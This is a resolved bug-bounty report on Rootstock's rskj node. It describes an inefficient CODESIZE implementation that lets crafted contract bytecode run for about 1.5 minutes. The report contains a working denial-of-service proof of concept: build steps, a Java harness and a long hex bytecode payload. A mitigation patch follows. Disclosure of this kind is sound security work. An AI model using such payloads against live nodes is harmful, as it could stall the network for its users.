Crafted smart contract can take 1.5 minutes to execute due to inefficient CODESIZE implementation
Medium
R
Rootstock Labs
Submitted None
Actions:
Reported by
guido
Vulnerability Details
Technical details and impact analysis
## Summary:
TLDR: `VM.doCODESIZE()` is inefficient which can lead to slow executions.
`VM.doCODESIZE()` retrieves the code size by calling `Program.getCode()`, and then invoking the `length` property on the return value:
```java
protected void doCODESIZE() {
if (computeGas) {
if (op == OpCode.EXTCODESIZE) {
gasCost = GasCost.EXT_CODE_SIZE;
}
spendOpCodeGas();
}
// EXECUTION PHASE
DataWord codeLength;
if (op == OpCode.CODESIZE) {
codeLength = DataWord.valueOf(program.getCode().length); // during initialization it will return the initialization code size
```
This means that `program.getCode()` returns the entire byte array each time `CODESIZE` is invoked. This property can be exploited to transfer immense amounts of data between `Program.getCode()` and `VM.doCODESIZE()`, such as over 1 terabyte in aggregate in the reproducer below, which makes execution very slow.
## Steps To Reproduce:
Reproducer (tested on Linux x64):
```sh
wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
echo "task testJar(type: Jar) {" >>rskj-core/build.gradle
echo " from sourceSets.test.output" >>rskj-core/build.gradle
echo " classifier = 'tests'" >>rskj-core/build.gradle
echo "}" >>rskj-core/build.gradle
echo "assemble.dependsOn(testJar)" >>rskj-core/build.gradle
./configure.sh
# Build rskj
./gradlew assemble
# Construct reproducer
echo """
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import java.util.HashSet;
import javax.xml.bind.DatatypeConverter;
import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.*;
import org.ethereum.vm.program.Program;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
public class Poc {
public static void main(String[] args) {
TestSystemProperties config = new TestSystemProperties();
PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
VmConfig vmConfig = config.getVmConfig();
ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
ActivationConfig.ForBlock activations = ActivationConfigsForTest.arrowhead600().forBlock(0);
invoke.setGas(6800000); /* block limit */
byte[] code = DatatypeConverter.parseHexBinary(
\"5b38385038385038385038503838385038385038383838385050383850503838\" +
\"3838385050385050383850503838503838505050383850503850503850503850\" +
\"3850503850383850383838503838385050383838503850385050503850383850\" +
\"3838503838505038385038383838503838385050385038385038383850383850\" +
\"5038383850503838503850383850503850385050385038385038383850383838\" +
\"3850503850385050385038503850385050385038385038383850383838505038\" +
\"5038385038385050383838503850385038385038383850503850385050385038\" +
\"3850383838503838505038503850503850383850383838503838383850503850\" +
\"3850503850385038503850503850383850383838503838385050385038385038\" +
\"3850503838385038503850383850383838505038503850503850383850383838\" +
\"5038383850503850383850385050383850503850503850503850385050385038\" +
\"3850383838503838385050383850503850503850385050385038503838385038\" +
\"3850503838383850385038385050383838503850385050385038385050385050\" +
\"3850385038385038503850383850385038383850383850503850383850383838\" +
\"5038383850385038505038503838505038505038503838505038505038503850\" +
\"3838385038385050383850383838503850383850503850385050385038385038\" +
\"3838503838383850503838385050385038503850385038385038385038383838\" +
\"3838385050385038383838383838503850503850383850383838503838383838\" +
\"5038505038505038505038503850383838503838505038385038383850385038\" +
\"3850503850385050385038385038383850383838385050385038505038503850\" +
\"3850385038385038385038383850383838505038503838505050383850503850\" +
\"5038503838505050383850383850383850385050385050385050385038505038\" +
\"5038385038383850383838505038385050385050385050385038503838385038\" +
\"3850383838383850385038385050383838503850385050385038385050503850\" +
\"3850503850383850383838503838503838383838385038503838503850505038\" +
\"5050385038385050383838503838503838385050383838383850383838503850\" +
\"3850503850383838503850503850383838385050385050383838503850503850\" +
\"3838383850383838503838503850383850385050503850503850383850505038\" +
\"3850383850383838505050505050385038505038505038503838503838505038\" +
\"3838503850385050385038385050385050385038385038503850505038505038\" +
\"5038505050503838503838505050383850503850503838505038503850505050\" +
\"5038383850383850503850503850385050385050503838385038385050385050\" +
\"3850385050383850385050505050383838503838505038505050385038503850\" +
\"5050383850503850385050385050385050505038503850383850503850385050\" +
\"3850503838505038503838503838385050385038385038505038505038503850\" +
\"5038505050383850505050383850503850503850503850385050385038383850\" +
\"3850505050385038505038503850383850503850385050385050385038385038\" +
\"3850385038503838503850503850503850385050385038503838505050503838\" +
\"5038385038383850505050505038503850503850503850383850383850503838\" +
\"3850385038505038503838505038505038503838503850385050503850503850\" +
\"3850505050383850383850505038385050385050383850503850385050505050\" +
\"3838385038385050385050385038505038505050383838503838505038505038\" +
\"5038505038385038505050505038383850383850503850505038503850385050\" +
\"5038385050385038505038505038385038385050503838505038505038505038\" +
\"5038505038503838503838385038383850503838505038505038505038503850\" +
\"3838385038385050503850383850503850503850383850505038385038385050\" +
\"5038385050385038385050385050385038385050503838503838505050383850\" +
\"5038505038505038503850503850383850383838503838385050383850503850\" +
\"5038505038503850383838505050385038383838503850383850505050385050\" +
\"5038385050383850505038385050385050503838383850385038385050385038\" +
\"5050503850505038385050503850505038505038505038503850503850385038\" +
\"5050503838505038503850503850503850385050385038503838505038503850\" +
\"5038505038385050385038385038383850503850383850385050385050385038\" +
\"5050385038503838505050503838505038505038505038503850503850383838\" +
\"5038505050503850385050385038385050505038503850503850503850383850\" +
\"3838503850385038385038505038505038503850503850385038385050505038\" +
\"3850503850503850503850385050385038383850385050385038503850503838\" +
\"5050383838503850503838503850505038385050385050505050385038505038\" +
\"5050385038505038503850383850505050383850503850503850503850385050\" +
\"3850383838503850503850385038505038385050383838503850505038383850\" +
\"5050383850503850503838505038503850505050503838385038505038503850\" +
\"3850505038385050503850503850383850505050503850503850503814165957\" +
\"3862105aff598038593d39f038503850\");
VM vm = new VM(vmConfig, precompiledContracts);
Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke,null, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
try {
while (program.isStopped() == false)
vm.step(program);
} catch (RuntimeException e) {
program.setRuntimeFailure(e);
}
}
}""" >Poc.java
# Build reproducer
$JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-all.jar Poc.java
# Run reproducer
time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-all.jar Poc
```
On my machine, this takes 1m29.355s to run.
This reproducer was constructed using a genetic algorithm and it does not necessarily represent the global maximum of number of bytes copied (that is to say, it is likely that one can construct even slower examples).
The issue can easily be fully mitigated by implementing a `getCodeLength()` method in `Program`, and calling this method from `VM.doCODESIZE()`, so that only the code length rather than the whole code array is transferred. You are hereby granted the right to apply this patch to your repository.
```diff
diff --git a/rskj-core/src/main/java/org/ethereum/vm/VM.java b/rskj-core/src/main/java/org/ethereum/vm/VM.java
index 2365d38..88eb90d 100644
--- a/rskj-core/src/main/java/org/ethereum/vm/VM.java
+++ b/rskj-core/src/main/java/org/ethereum/vm/VM.java
@@ -775,7 +775,7 @@ public class VM {
// EXECUTION PHASE
DataWord codeLength;
if (op == OpCode.CODESIZE) {
- codeLength = DataWord.valueOf(program.getCode().length); // during initialization it will return the initialization code size
+ codeLength = DataWord.valueOf(program.getCodeLength()); // during initialization it will return the initialization code size
} else {
DataWord address = program.stackPop();
codeLength = DataWord.valueOf(program.getCodeLengthAt(address));
diff --git a/rskj-core/src/main/java/org/ethereum/vm/program/Program.java b/rskj-core/src/main/java/org/ethereum/vm/program/Program.java
index 5a79952..35885d5 100644
--- a/rskj-core/src/main/java/org/ethereum/vm/program/Program.java
+++ b/rskj-core/src/main/java/org/ethereum/vm/program/Program.java
@@ -960,6 +960,10 @@ public class Program {
return Arrays.copyOf(ops, ops.length);
}
+ public int getCodeLength() {
+ return ops.length;
+ }
+
public Keccak256 getCodeHashAt(RskAddress addr, boolean standard) {
if(standard) {
return invoke.getRepository().getCodeHashStandard(addr);
```
After applying this patch, build and run again:
```sh
# Build rskj
./gradlew assemble
# Build reproducer
$JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-all.jar Poc.java
# Run reproducer
time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.2.0-SNAPSHOT-all.jar Poc
```
Now the execution time is only 0m0.755s, so over 118 times faster.
This was tested on Linux x64 (Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz) using rskj at commit a61e9080ba353fcbb6f94cf4606986a88c3043e3.
## Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]
* [attachment / reference]
## Impact
## Summary:
Stall the network.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption